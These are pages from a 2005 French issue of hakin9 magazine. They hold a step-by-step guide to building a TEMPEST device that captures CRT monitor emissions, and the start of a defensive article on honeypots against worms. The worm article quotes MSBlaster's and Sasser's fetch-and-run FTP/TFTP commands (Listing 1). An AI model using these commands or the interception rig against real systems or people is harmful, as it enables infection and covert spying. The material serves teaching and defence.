Mais de quoi s'agit-il ?Le principe de TEMPEST et ses dé-rivés est de reconstruire les données originales à partir des informations fantômes. Un fantôme est une trace laissée par un objet dans son environ-nement. Une empreinte de pas est un

fantôme, comme la chaleur, l'odeur de cuisine et même votre propre ombre. De telles informations sont indispen-sables aux détectives car elles sont leur seul base pour reconstituer ce qui s'est réellement passé. Physiquement parlant, il y a trois genres de fantômes qui peuvent nous aider à reconstruire les données dans le domaine infor-matique : électromagnétique, optique et acoustique.

Émission électromagnétiqueLa trace la plus discrète et informa-tive. Partant du principe que tous les ordinateurs utilisent l'électricité et qu'un potentiel électrique induit un champ électromagnétique propor-tionnel au potentiel, nous pouvons déduire l'activité électrique interne. Ceci peut être appliqué aux périphé-riques d'affi chage CRT et n'importe quel câble ou fi l non protégé.

Fantômes optiquesBien qu'étant une onde électro-magnétique, la lumière n'obéit pas

aux mêmes règles et n'offre pas les mêmes possibilités. Contrairement aux émissions électromagnétiques, les lumières dans un système infor-matique ont des rôles spécifi ques, et sont volontairement placées pour informer de l'état du système. Si vous observez les LEDs de plus près, elles répondent également aux potentiels électriques, donc la moindre fl uctuation dans le sys-tème a un effet sur les LEDs et peut être perçue par des capteurs optiques. Cela ne peut cependant être utile que pour des événements particuliers dans des conditions spéciales. De plus, l'informationacquise n'est pas forcément inté-ressante.

Information acoustiqueÀ peu près les mêmes possibilités qu'avec les émissions optiques. Même moins, car la majorité d'un système informatique est silencieux, seules les parties mécaniques sont sujettes à des productions acousti-ques. Il y a très peu d'applications pour ce genre d'émission. Un enre-gistreur de clé matériel basé sur les événements acoustiques pourrait être un bon exemple.

Une étude en particulier : les émissions des moniteurs CRTUne des émissions les plus inté-ressantes vient du périphérique d'affi chage, car son activité interne est clairement en rapport avec des

Figure 1. Rouge, vert et bleu se mélangent pour synthétiser n'importe quelle couleur

Figure 2. Une grille de pixels forme une image – la fi nesse de l'image dépend de la densité de pixels

Sur le réseau :• http://upe.acm.jhu.edu/websites/Jon_Grover/page2.htm – des bases sur le van

Eck phreaking,• http://www.eskimo.com/~joelm/tempest.html – la page d'information complète

mais non offi cielle de TEMPEST,• http://www.noradcorp.com/2tutor.htm – page de la compagnie NoRad CRT Moni-

tors as a Source of Electromagnetic Waves,• http://xtronics.com/kits/rcode.htm – code de couleur des résistances,• http://web.telia.com/~u85920178/begin/opamp00.htm – l’explication sur les am-

plifi cateurs opérationnels,• http://www.hut.fi /Misc/Electronics/circuits/vga2tv/vga2palntsc.html – le dispositif

de conversion des signaux de synchronisation de Tomi Engdahl.

Page 44: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org42 hakin9 No 3/2005

Att

aque

informations importantes. De plus, ce périphérique émet de fortes ondes électromagnétiques qui sont relativement aisées à capturer et à traiter.

Le fonctionnement des moniteursToutes les couleurs peuvent être décomposées en trois couleurs fondamentales : rouge, vert et bleu(voir Figure 1). Il est possible – à travers la combinaison de ces trois couleurs – de recréer n'im-porte quelle couleur, en variant ces proportions fondamentales. Une image est considérée comme un assemblage complexe de cou-leurs, sous la forme d’une grille de pixels (voir Figure 2). Un pixel est un point composé des 3 couleurs (rouge, vert, bleu). Il est possible de recréer des images précises en augmentant la densité de pixels. La résolution d'une image est repré-sentée par x*y, avec x le nombre de pixels horizontaux, et y le nombre de pixels verticaux (exemples : 640*480, 800*600, 1024*768 etc.)

Un écran est composé de plu-sieurs modules. D'abord un tube cathodique qui sert à la restitution

directe de l’image. Un faisceau d’électrons balaye une couche fl uo-rescente à très grande vitesse pour affi cher l’image. Le balayage se fait de gauche à droite et de haut en bas, à une fréquence de 50 Hz à 100 Hz sur la totalité de l’écran.

La couche fl uorescente est excitée au passage de ces élec-trons et émet de la lumière. Cette couche est également phosphores-cente, c'est-à-dire qu’elle continue à émettre de la lumière pendant un bref instant (de 10 à 20 ms) après son excitation. La lumino-sité est déterminée par le débit d’électrons, régulé par un wehl-net (composant électronique). Le faisceau passe ensuite entre 2 bobines (une pour déterminer la déviation verticale, l'autre pour la déviation horizontale, en utilisant les forces électromagnétiques) pour diriger sa trajectoire, afi n de réaliser le balayage de l’écran et reconstruire une image complète (voir Figure 3).

Le signal vidéo passe par plu-sieurs canaux (6 canaux pour le signal vidéo lui-même). C'est-à-dire les canaux rouge, vert, bleu et leurs masses respectives, plus 2 canaux de synchronisation pour le balayage vertical et horizontal, et la masse commune aux signaux de synchro-nisation.

Les signaux de synchronisation, qui indiquent le passage à la ligne suivante ou le retour du faisceau au début de l’écran, sont de simples dif-férences de potentiels de quelques volts. Ils ont lieux (pour un écran d’une résolution de 800*600 pixels avec un rafraîchissement de 70 Hz) 70 fois par seconde pour les signaux

de synchronisation verticaux, et 600*70=42000 fois par seconde pour les signaux de synchronisation horizontaux.

Les signaux vidéos sont des tensions de 0 V à 0.7 V, qui défi -nissent l’intensité du point lumineux (plus le voltage est élevé, plus le pixel est lumineux) à l’endroit du balayage (cette tension est donc amenée à varier à chaque nouveau pixel de couleur différente ; pour un écran de résolution 800*600 avec un rafraîchissement de 70 Hz, les changements de tensions peuvent aller à une fréquence de 800*600*70=34 MHz, soit 34 000 000 de fois par seconde).

Le phénomène d'inductionLa moindre différence de potentiel

Figure 3. Un faisceau d'électrons produit l'image sur l'écran

Figure 4. Une différence de potentiel dans un câble conducteur produit une onde électromagnétique

Figure 5. Écran d'exemple, son codage électrique correspondant et son induction électromagnétique

Page 45: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 43hakin9 No 3/2005

Émissions compromettantes

(c'est-à-dire, quand une quantité de tension électrique monte ou des-cend) dans un matériau électrique-ment conducteur produit une onde électromagnétique proportionnelle au potentiel : ceci est appelé phé-nomène d'induction (voir Figure 4). Ce comportement est décrit par les équations de Maxwell. Il n'est cepen-dant pas nécessaire de comprendre toutes les règles mathématiques et physiques derrière ça pour exploi-ter le phénomène.

Le phénomène inverse est éga-lement vrai : une onde électroma-gnétique rencontrant un matériau conducteur produira une différence de potentiel proportionnelle à la force de l'onde. C'est globalement comme ça que marchent les récep-teurs radio GO : plus l'onde est forte, plus le signal reçu est important.

Pour qu'un champ électroma-gnétique soit créé, il doit y avoir des différences de potentiels : un voltage constant ne produira aucune onde radio. De la même manière, aucun signal ne peut être reçu si le champ magnétique est statique (c'est pour ça que les dy-namos doivent constamment être en mouvement pour produire de l'électricité).

Application aux moniteurs CRTAvant d'être projeté sous la forme d'un fl ux d'électrons, le signal vidéo est amplifi é à un voltage élevé. Cette amplifi cation génère de fortes ondes électromagnétiques, qui, si le moniteur n'est pas protégé suf-fi samment électromagnétiquement, peuvent être capturées jusqu'à une

distance d'une centaine de mètres sans aucun contact physique en utilisant une antenne. La force de l'onde est proportionnelle au contraste entre deux pixels con-sécutifs. Bien sur, comme les trois composants de la couleur sont trai-tés simultanément et qu'une seule onde électromagnétique est émise (pour être plus précis, les ondes électromagnétiques se mélangent en une seule quand elles sont émi-ses), on ne peut espérer retrouver les informations de couleur.

Monter un système TEMPESTUn écran d'exemple, son codage électrique correspondant et son induction électromagnétique peu-vent être trouvés en Figure 5. Sur la gauche, on peut observer une échelle de dégradé sur un écran moniteur. L'image centrale montre le même signal vidéo analysé par un oscilloscope. Enfi n, l'image de droite montre l'émission élec-tromagnétique correspondante (proportionnelle aux différences de potentiels). Un motif vertical a été utilisée pour plus de clarté (toutes les lignes sont codées de la même manière).

Ce motif a pour but de compren-dre quel genre de signal nous allons étudier. Commençons maintenant la partie pratique de notre jeu de détective.

L'antenneUne antenne peut être un simple câble conducteur ; cela sera suffi -sant si on veut faire l'expérience du

système à deux ou trois mètres du moniteur. Pour de plus grandes dis-tances il faudra utiliser une antenne parabolique (Figure 6), qui devra être pointée vers le périphérique d'affi chage ; elle est extrêmement sensible et directionnelle, c'est-à-dire qu'elle peut capturer même de très faibles émissions à partir d'un point précis de l'espace.

L'antenne va capturer un signal très parasité. Ce bruit est dû à la pollution électromagnétique de l'en-vironnement (divers émissions ra-dios). Heureusement les moniteurs émettent dans une bande restreinte de hautes fréquences, ce qui nous permet de récupérer le signal en utilisant un fi ltre.

FiltragePour récupérer le signal, nous devons fi ltrer toutes les fréquences inférieu-res à la fréquence d'un seul pixel (ceci élimine également l'onde générée par le signal de synchronisation, qui rend diffi cile la récupération du début des lignes). En fait, pour de meilleurs résultats, il est bon de laisser une marge et de mettre la fréquence de fi ltrage légèrement inférieure à la fré-quence d'un seul pixel.

Pour un écran de résolution 800*600 à un taux de rafraîchis-sement de 70 Hz, la fréquence critique serait de 800*600*70=33.6 Mhz. Un fi ltre passe-haut est com-posé d'une résistance et d'un con-densateur, assemblé comme sur la Figure 7 :

• C1 – le condensateur,• R1 – la résistance,

Figure 6. Un modèle d'antenne parabolique

Figure 7. Schéma d'un fi ltre passe-haut

Page 46: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org44 hakin9 No 3/2005

Att

aque

• Ue, Us – entrée et sortie respec-tivement,

• Y1 pour le signal résultant.

La fréquence critique du système est déterminée par fc=1/(2*π*R*C), avec fc la fréquence critique (fré-quence en dessous de laquelle le fi ltre coupera tout signal), R pour la valeur de la résistance et C pour la capacité du condensateur.

Nous pourrions confi gurer le sys-tème pour disons une fréquence de 1.6 MHz (donc toutes les fréquences inférieurs a 1.6 MHz sont éliminées), ce qui nous conduit à 1.6*106=1/(2*π*R*C). De cette manière R*C=1/(2*π*1.6*106)=10-7.

Cette fréquence a été choisie car elle laisse une bonne marge, et les condensateurs et résistances pour cette fréquence sont faciles à trou-ver. Pour arriver à ce produit, nous pourrions choisir un condensateur de 1 nF (1 nano Farad, équivalent à 10-9 Farad) et une résistance de 100 Ω (100 Ohms).

On arrive à 10-9*102=10-7, donc nous avons notre produit, et le sys-tème est confi guré pour la fréquence critique de 1.6 MHz. Bien sur vous

pouvez utiliser n'importe quelle autre combinaison de résistances et con-densateurs, tant que le produit reste constant.

Amplifi cationLe signal fi ltré a un potentiel très bas (quelques mV). Pour exploiter le signal nous devons l'amplifi er (c'est-à-dire multiplier le voltage par un facteur constant) à un ni-veau acceptable. Comme vu plus haut, le signal vidéo est compris entre 0 V et 0.7 V. Pour arriver à ça nous allons utiliser un amplifi -cateur opérationnel (AO, voir aussi l'Encadré Sur le réseau), qui est un composant électronique trouvable pour une dizaine d'euros.

Comme nous traitons des hau-tes fréquences (MHz), nous devons faire attention en choisissant cet amplifi cateur opérationnel : les AO classiques ne peuvent pas traiter de telles fréquences. Au magasin, vous devez donc demander un amplifi ca-teur opérationnel vidéo. Le modèle AD844AN est un exemple, cepen-dant il n'est pas forcément disponible dans tous les pays. Il faut regarder les catalogues des différents fournis-seurs d'électronique.

Un AO a beaucoup d'applica-tions ; mais nous voulons juste am-plifi er notre signal en ce moment. Pour y arriver, référons nous au circuit montré en Figure 8. Il est com-posé d'un AO et 2 résistances :

• R2, R3 – résistances,• OA – amplifi cateur opérationnel,• V+, V- – alimentation de l'AO,• Ue, Us – entrée et sortie,• Y1 – signal résultant.

Il est appelé inverseur et c'est le plus simple circuit d'amplifi cation à mon-ter (mais voir également l'Encadré Les choses à se rappeler lorsqu'on amplifi e le signal). La valeur des deux résistances déterminera le

Figure 8. Amplifi cateur opérationnel : un montage inverseur

Les choses à se rappe-ler lorsqu'on amplifi e le signalNous devons garder certaines choses en tête. D'abord, il est pratique de choisir une résistance R3 variable, de cette manière nous pouvons choisir le coeffi cient même quand le circuit est assemblé. Plus important, l'AO doit être alimenté ! C'est quelque chose auquel il faut porter attention lorsqu'on choisit l'AO, car ils n'ont pas tous les mêmes besoins en terme d'alimentation. Géné-ralement c'est autour de 12 V ou 15 V.Il faut également s'assurer de savoir monter un AO avant de l'assembler. Différents documents sont disponibles sur Internet à ce sujet (voir l'Encadré Sur le réseau). Dernier point, le circuit est appelé inverseur car il inverse la sortie (c'est pour ça que k est négatif). Avec les ondes électromagnétiques ce n'est pas un problème, car chaque signal possède une partie négative et une partie positive.

Figure 9. Une diode, telle que représentée dans les circuits électroniques

Page 47: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 45hakin9 No 3/2005

Émissions compromettantes

Figure 10. SUB-D HD Connector Figure 11. SCART – Schéma de connectivité Péritel

Figure 12. Le circuit convertisseur de synchronisation de Tomi Engdahl's

Page 48: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org46 hakin9 No 3/2005

Att

aque

coeffi cient d'amplifi cation par la formule suivante : k = - R3/R2. Pour amplifi er une centaine de fois, on peut choisir par exemple R2=1 Ω et R3=100 Ω.

Couper la composante négativeC'est la partie la plus facile : elle con-siste juste à rajouter une diode pour couper la partie négative du signal (votre périphérique d'affi chage aura quelques diffi cultés à reproduire des couleurs négatives). Le schéma est montré sur la Figure 9.

Restituer l'affi chageIl reste deux choses pour avoir un système fonctionnel – la résolution

de ces problèmes dépend du ma-tériel utilisé. L'étape fi nale inclut les signaux de synchronisation et un périphérique d'affi chage.

Les signaux de synchronisationCes signaux peuvent être générés en utilisant des générateurs de fréquence. Il faut générer des im-pulsions de quelques volts pour la synchronisation verticale (chaque ligne). C'est-à-dire, pour un écran d'une résolution de 800*600 avec une fréquence de rafraîchissement

de 70 Hz, 70 impulsions par secon-des doivent être générées pour le premier canal, et 600*70=42000 impulsions par secondes doivent être générées pour le second ca-nal.

Si on ne dispose pas de géné-rateur de fréquence, on peut alors utiliser une astuce simple : dériver la voie de synchronisation d’une sortie vidéo d’un ordinateur (voir Figure 10).Il suffi ra de régler au préalable l’or-dinateur sur le taux de rafraîchisse-ment voulu (dans notre exemple, 800*600, 70 Hz). Pour connecter

Assemblage du systèmeNotre circuit électronique est constitué de 4 blocs (voir la Figure 14) :• une antenne (A) qui recevra le signal,• un fi ltre passe-haut (C1,R1) pour couper les fréquences inférieures à la fréquence

critique que nous avons défi nie,• une amplifi cateur (OA,R2,R3,V+/V-) qui amplifi e le signal fi ltré afi n de le visualiser

sur un écran CRT standard,• une diode pour couper les parties négatives (qui ne peuvent pas être exploitées

par un écran standard) et fi nalement une sortie pour avoir le signal vidéo sur l'écran.

Parallèlement, on envoie des signaux de synchronisation. Ils peuvent être générés par deux générateurs basse fréquences ou directement par une carte vidéo.

Pour visualiser les informations sur un écran TV, le circuit de conversion des si-gnaux de synchronisation de Tomi Engdahl peut être utilisé (Figure 12). Comme nous n’avons pas vraiment besoin de ce dispositif, une description est disponible à cette adresse : http://www.hut.fi /Misc/Electronics/circuits/vga2tv/vga2palntsc.html.

Les composantsEn pratique, on peut utiliser une multiplaque (Figure 13 ; 1) pour construire le circuit. C'est une planche avec une grille de trous liés par des lignes de cuivre, donc vous n'avez pas besoin de faire votre propre circuit imprimé – il est déjà prêt à l'emploi. Ce genre de planche est disponible dans n'importe quelle boutique d'électronique.

Une résistance et une diode sont montrées sur la Figure 13 (respectivement 2, 3).Pour les condensateurs, il y en a plusieurs genres disponibles, mais ça revient au mê-me (Figure 13 ; 4, 5, 6). Enfi n, l'amplifi cateur opérationnel (Figure 13 ; 7) est nécessaire – pour l'instant nous n'avons pas besoin de plus d'explication, mais vous pouvez vous référer à la page de Harry Lythall's pour les détails (http://web.telia.com/~u85920178/begin/opamp00.htm). Tous ces composants sont disponibles pour quelques euros chacun.

L'assemblagePour assembler le circuit complet, vous aurez besoin d'un fer à souder (même un mo-dèle simple sera suffi sant) et du fi l d'étain pour souder les composants électroniques à la multiplaque.

Insérez chaque composant électronique au dos de la multiplaque (c'est-à-dire, le coté sans cuivre) de manière à ce que les pattes apparaissent de l'autre coté. Appli-quez alors l'étain sur le cuivre avec le fer à souder – une goutte d'étain viendra souder la patte du composant électronique au cuivre.

Utilisez les circuits de cuivre comme vous le sentez, tant que vous respectez les connections comme montré sur le schéma du circuit TEMPEST (Figure 14). Vous pouvez lier deux lignes de cuivres en soudant un câble électrique d'une ligne à l'autre.

Figure 13. Éléments utilisés dans l'assemblage du circuit TEMPEST : 1 – une multiplaque ; 2 – une résistance ; 3 – une diode ; 4, 5, 6 – condensateurs ; 7 – amplifi cateur opérationnel

Page 49: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 47hakin9 No 3/2005

Émissions compromettantes

l'écran test au port de sortie vidéo, nous pouvons disséquer un vieux ca-ble vidéo ou acheter un connecteur SUB-D 15/HD 15 (aussi connu com-me connecteur VGA 15 broches).

Regardons la Figure 10 et les signaux correspondants :

• 1 – rouge,• 2 – vert,• 3 – bleu,• 6 – masse du rouge,• 7 – masse du vert,• 8 – masse du bleu,• 11 – masse,• 13 – synchronisation horizontale,• 14 – synchronisation verticale.

Notez bien : il faut rester très vigilant en travaillant sur le port de sortie vidéo. La moindre erreur peut être fatale à la carte vidéo.

Le périphérique d'affi chagePour visualiser les informations dé-tournées, on peut utiliser au choix un écran de télévision ou d’ordinateur, bien qu’un écran d’ordinateur soit préférable car l’écran de télévision ne supportera pas toutes les résolutions, contrairement à celui d’ordinateur (jus-qu'à certaines limites bien entendu).

Pour ce qui est de la connectivité avec l’écran d’ordinateur, il faut se référer au schéma du connecteur SUB-D HD (Figure 10). Pour un

écran télé, on se référera au schéma du connecteur SCART comme mon-tré sur la Figure 11 :

• 5 – masse du bleu,• 7 – bleu,• 9 – masse du vert,• 11 – vert,• 13 – masse du rouge,• 15 – rouge.

L'utilisation d'un poste télé pose un peu plus de problèmes. Convertir les signaux de synchronisation est assez dur. Heureusement, en 1996 Tomi Engdahl a réalisé un circuit qui converti les standards VGA en stan-dards TV. Le principe est expliqué ici sur la Figure 12.

Comme on peut le voir, cela reste relativement facile si vous possédez un écran d’ordinateur. Mais nous devons veiller à rester vigilant ! Ces appareils sont très sensibles. Il est donc recommandé d’utiliser un os-cilloscope pour contrôler durant les manipulations.

C’est à peu prés tout (voir l'Enca-dré Assemblage du système pour les détails de la constructions).

Pour résumer, le système TEM-PEST complet peut être vu sur la Figure 14. Pour clarifi er :

• A – antenne,• C1 – condensateur,

• R1,R2,R3 – résistance,• OA – amplifi cateur opérationnel,• V+/V- – alimentation de l'AO,• 1,2,3 – canaux de couleur,• 4,5 – canaux de synchronisation,• Sync – générateur de signaux de

synchronisation.

Et ça marche ?Nous savons maintenant comment construire un système TEMPEST – on est donc en mesure de construi-re son propre système d’interception d’ondes EM. Cependant, ne vous attendez pas à un succès immédiat lors de vos premiers essais. C’est un système très délicat qui demande à être fi nement réglé afi n de bien fonctionner, et il serait judicieux d’avoir un oscilloscope à portée de main pendant les essais.

Les résultats sont aussi forte-ment dépendants de l’environnement et des conditions dans lesquelles se déroulent les expériences. Les émissions électromagnétiques des moniteurs CRT varient d’un écran à l’autre, donc même avec un dis-positif bien réglé, les résultats varie-ront. Notre système est un montage artisanal, relativement bon marché et simple. Les systèmes TEMPEST industriels sont chers et durs à ac-quérir, notamment à cause la classi-fi cation de ces informations pendant un long moment. n

Figure 14. Système TEMPEST de Robin Lobel

Page 50: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org48 hakin9 No 3/2005

Déf

ense

En dépit de toutes ses qualités, l'usage universel des techniques Internet dans les affaires peut s'avérer dangereux

pour les données traitées. Parmi les dangers qui menacent nos systèmes informatiques fi gu-rent les virus et les vers de réseau dont le but principal est de se multiplier et de se propager – c'est-à-dire attaquer et contaminer le plus grand nombre d'ordinateurs possible. La stra-tégie de leur fonctionnement est très simple : trouver et prendre le contrôle d'un système vul-nérable, et ensuite, à l'aide de celui-ci, scanner le réseau et attaquer d'autres machines.

Chaque machine contrôlée par ce pro-gramme malicieux devient à son tour un agresseur prêt à s'attaquer tant à un ordina-teur personnel qu'aux systèmes d'une grande entreprise ou d'une institution d'état. De plus, chaque virus ou ver, en plus de ses fonctions de multiplication, peut être doté de fonctions de destruction pouvant abîmer les données dans les systèmes attaqués, et même le matériel informatique. Il arrive que les vers de réseau soient créés et utilisés par les crakers pour effectuer des attaques DDoS contrôlées. Les programmes de ce type – après la contamination d'un nombre donné

Honeypots – leurre contre les versMichał Piotrowski

Les vers de réseaux se propagent très rapidement – afi n de pouvoir se défendre effi cacement, il faut avoir leur code et l'analyser. Les systèmes honeypots permettent non seulement de capturer un ver, mais aussi d'observer ses actions et de le supprimer automatiquement des machines infectées.

de systèmes, après un temps donné ou à la commande de l'intrus – commence une atta-que DoS sur une cible déterminée, ce qui, vu la grande quantité d'instances du virus, peut rendre impossible le travail des systèmes et des réseaux de la victime.

D'après les recherches effectuées au début 2004 par la société Sandvine, les con-nexions générées par les vers constituent de 2% jusqu'à 12% de tout le trafi c réseau sur Internet. Rien qu’aux États Unis, une telle exploitation de la bande passante coûte aux

Cet article explique...• comment, à l'aide des honeypots, intercepter les

vers de réseau,• comment exploiter les machines virtuelles pour

guérir les ordinateurs infectés.

Ce qu'il faut savoir...• le système Linux et Windows,• le langage de script Bash,• au moins les notions de base des protocoles

réseau.

Page 51: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 49hakin9 No 3/2005

Honeypots – leurre contre les vers

fournisseurs de services Internet environ 245 000 000 de dollars par an. C'est une somme vraiment impressionnante. Selon les estima-tions de la société Trend Micro (l'un des plus grands éditeurs de pro-grammes anti-virus) en 2003, les pertes causées par les attaques des programmes malicieux dans le monde entier représentaient envi-ron 55 000 000 000 de dollars.

Analysons donc les façons de lutter contre les vers à l'aide des honeypots (les machines virtuelles – leurres ; cf. l'Encadré Classifi -cation des honeypots). Prenons comme exemples deux programmes malicieux, très connus depuis quel-ques temps – MSBlaster et Sasser (cf. l'Encadré Quelques attaques célèbres des vers de réseau). Tout d'abord, nous essayerons d'obtenir un fi chier exécutable contenant leur code, et ensuite, nous nettoierons automatiquement les machines in-fectées. Ces méthodes et program-mes sont exploités par les éditeurs des programmes anti-virus et les spécialistes qui s'occupent de l'ana-lyse du code des vers et des virus. Tous les exemples sont basés sur la distribution Gentoo Linux et le pro-gramme Honeyd version 0.8b.

Mode de fonctionnement des vers de réseauPour lutter effi cacement contre les vers informatiques, il faut savoir comment ils fonctionnent et quels mécanismes ils utilisent. Bien que nous ne nous occupions que de deux parasites, il ne faut pas oublier que le mode de fonctionnement de tous les vers est similaire et se compose de trois étapes :

• l'infection (en anglais infection), • la propagation (en anglais propa-

gation),• la charge fi nale (en anglais pay-

load).

Les Figures 1 et 2 illustrent les pha-ses successives du fonctionnement des vers.

Classifi cation des honeypotsSuivant la classifi cation générale, les honeypots – c'est-à-dire, les leurres si-mulant le fonctionnement d'un système réel – peuvent être divisés en systèmes à faible (en anglais low-interaction) et à forte interaction (en anglais high-inte-raction). Le terme niveau d'interaction défi nit le type d'actions qui peuvent être effectuées par l'intrus dans le système, et de cela, il défi nit le nombre et la qualité des informations pouvant être stockées à l'aide du piège, la dépense de travail nécessaire pour l'installer et le niveau de danger lié à l'interception éventuelle du honeypot par l'assaillant.

Les honeypots à faible interaction, le plus souvent ne sont pas des systèmes de pleine valeur, mais des programmes qui émulent les services ou les systèmes. Cela signifi e que le pirate qui se connecte à un tel ordinateur peut établir la connexion avec le port TCP voulu (par exemple avec le service FTP), obtenir le message ap-proprié informant sur le type et la version du faux serveur et y envoyer les données. Parfois, il peut ouvrir une session anonyme, exécuter certaines commandes, voire consulter le système de fi chiers virtuel souhaité. Mais il ne sera jamais capable de faire plus que le honeypot ne le permet, par exemple, il n'aura jamais accès au shell système.

En cela, les systèmes à faible interaction sont faciles à installer, maintenir et exploiter. Ils sont aussi diffi ciles à intercepter par un pirate parce qu'ils n'offrent pas de services réels. Malheureusement, ils ont deux grands défauts : les infor-mations sur l'attaque provenant de ces honeypots sont assez limitées et il est très facile de les détecter par un intrus expérimenté. Mais utilisés de façon appropriée ils peuvent s'avérer fort utiles, surtout dans la lutte contre les vers et les virus qui effectuent des attaques automatiques, selon un algorithme déterminé.

Quelques attaques célèbres des vers de réseauCodeRedLe ver CodeRed qui est apparu pour la première fois en juillet 2001, a contaminé plus de 250 000 ordinateurs pendant les premières 8 heures du fonctionnement.

MSBlasterLe ver MSBlaster, connu aussi comme Lovsan ou Blaster, a débuté sur Internet le 11 août 2003 et pendant à peine 24 heures, il a infecté environ 200 000 ordinateurs possédant le système d'exploitation Windows 2000 et XP. La vitesse maximale de la propagation de ce ver était de 68 000 contaminations par heure. De nouveaux cas d'infections se produisent jusqu'à maintenant, et le nombre de tous les systèmes con-taminés par MSBlaster est estimé à environ 450 000.

MyDoomEn février 2004, le ver portant le nom MyDoom a attaqué les serveurs de la société SCO Group. Ils étaient inaccessibles pendant environ 7 jours, et SCO offrait 250 000 $ à toute personne aidant à retrouver le ou les créateurs du ver. MyDoom a été considéré le ver le plus dangereux et le plus rapide dans l'histoire. Selon certains FAI, les lettres envoyées par ce parasite constituaient environ 30% de tout le courrier électronique envoyé lors de sa propagation maximale.

SasserLe 30 avril 2004, le ver appelé Sasser est apparu. Avec ses variantes successives qui apparaissaient dans les premiers jours du mois de mai, il a infecté 1% de tous les ordinateurs dans le monde entier, c'est-à-dire environ 6 000 000 de postes. Il a causé de dommages importants dans plusieurs entreprises, tant internationa-les que locales, et parmi les utilisateurs privés. Les informations sur l'attaque sont parues dans la presse et à la télévision. Plusieurs entreprises et institutions ont dé-cidé de débrancher leurs systèmes informatiques dans la crainte d'une attaque de Sasser qui, de même que MSBlaster, s'attaquait aux systèmes Microsoft Windows 2000 et XP.

Page 52: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org50 hakin9 No 3/2005

Déf

ense

InfectionL'infection est une étape pendant laquelle le ver prend le contrôle du système vulnérable. Pour ce faire, MSBlaster exploite l'erreur de dé-passement de tampon dans le sous-système d'appels de procédures distantes (en anglais Remote Proce-dure Call) du système Windows avec les programmes Distributed Compo-nent Object Model (DCOM) installés. L'exploitation effi cace de cette faille permet d'exécuter des commandes quelconques sur l'ordinateur attaqué. MSBlaster, en choisissant de façon aléatoire des adresses IP, recherche les ordinateurs vulnérables et s'atta-que au service RPC (écoutant le port 135 TCP).

Sasser fonctionne de façon si-milaire, mais il s'attaque au service LSASS (en anglais Local Security Authority Subsystem Service) écou-tant le port 445 TCP. Exploitant l'erreur de débordement de tam-pon, Sasser contraint le système attaqué à exécuter les commandes envoyées.

Il faut prêter attention au fait que dans le cas des vers dont nous par-lons, le processus de contamination se fait automatiquement. Aucune coopération de la part de l'utilisateur du système n'est exigée. Il suffi t que l'ordinateur avec le service vulnéra-ble soit accessible et accepte les connexions réseau.

PropagationLe processus de propagation est une phase du transfert du ver à partir de l'ordinateur infecté vers les systèmes attaqués. Le plus souvent, elle con-siste à distribuer des copies du ver dans les pièces jointes du courrier électronique ou à exploiter les vulné-rabilités des services.

Après l'attaque sur un ordina-teur vulnérable, MSBlaster lance le processus de shell écoutant le port 4444 TCP. En même temps, dans le système source, il démarre le serveur TFTP et, tout en se connec-tant au shell de l'ordinateur attaqué, il exécute les commandes qui char-gent le programme du ver à partir du système origine et le lancent

Figure 1. Phases successives du fonctionnement du ver Blaster

Figure 2. Phases du fonctionnement du ver Sasser

Listing 1. Les commandes exécutées par Sasser dans le système infecté

echo off

echo open <IP_du_système_source> 5554>>cmd.ftp

echo anonymous>>cmd.ftp

echo user>>cmd.ftp

echo bin>>cmd.ftp

echo get <numéro>_up.exe>>cmd.ftp

echo bye>>cmd.ftp

echo on

ftp -s:cmd.ftp

<numéro>_up.exe

echo off

del cmd.ftp

echo on

Page 53: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 51hakin9 No 3/2005

Honeypots – leurre contre les vers

(le fi chier exécutable portant le nom msblast.exe) :

tftp <IP_du_système_source> § GET msblast.exe

start msblast.exe

Ensuite, le programme lancé com-mence le processus de contami-nation.

La propagation du ver Sasser est similaire : dans l'ordinateur attaqué,

à l'aide d'un exploit, il lance le shell attendant la connexion sur le port TCP 9996. Ensuite, dans le système source, Sasser démarre le serveur FTP écoutant le port 5554 et envoie les commandes à la machine cible (cf. le Listing 1). Ces commandes ont pour le but de charger et lancer le fi chier exécuta-ble du ver (le fi chier s'appelle <nu-méro>_up.exe, où <numéro> est un nombre aléatoire).

Charge d'un verLa charge d'un ver est une action optionnelle, non liée au processus d'infection et de propagation, exé-cutée par le ver dans le système contaminé. Dans la plupart des cas, elle a un caractère destructif et peut entraîner la suppression ou la modifi cation des fi chiers, le for-matage des disques durs ou l'exé-cution de l'attaque DoS sur des ressources Internet déterminées. Les vols des mots de passe de dif-férentes ressources, par exemple de comptes du courrier électroni-que, ne sont pas rares non plus.

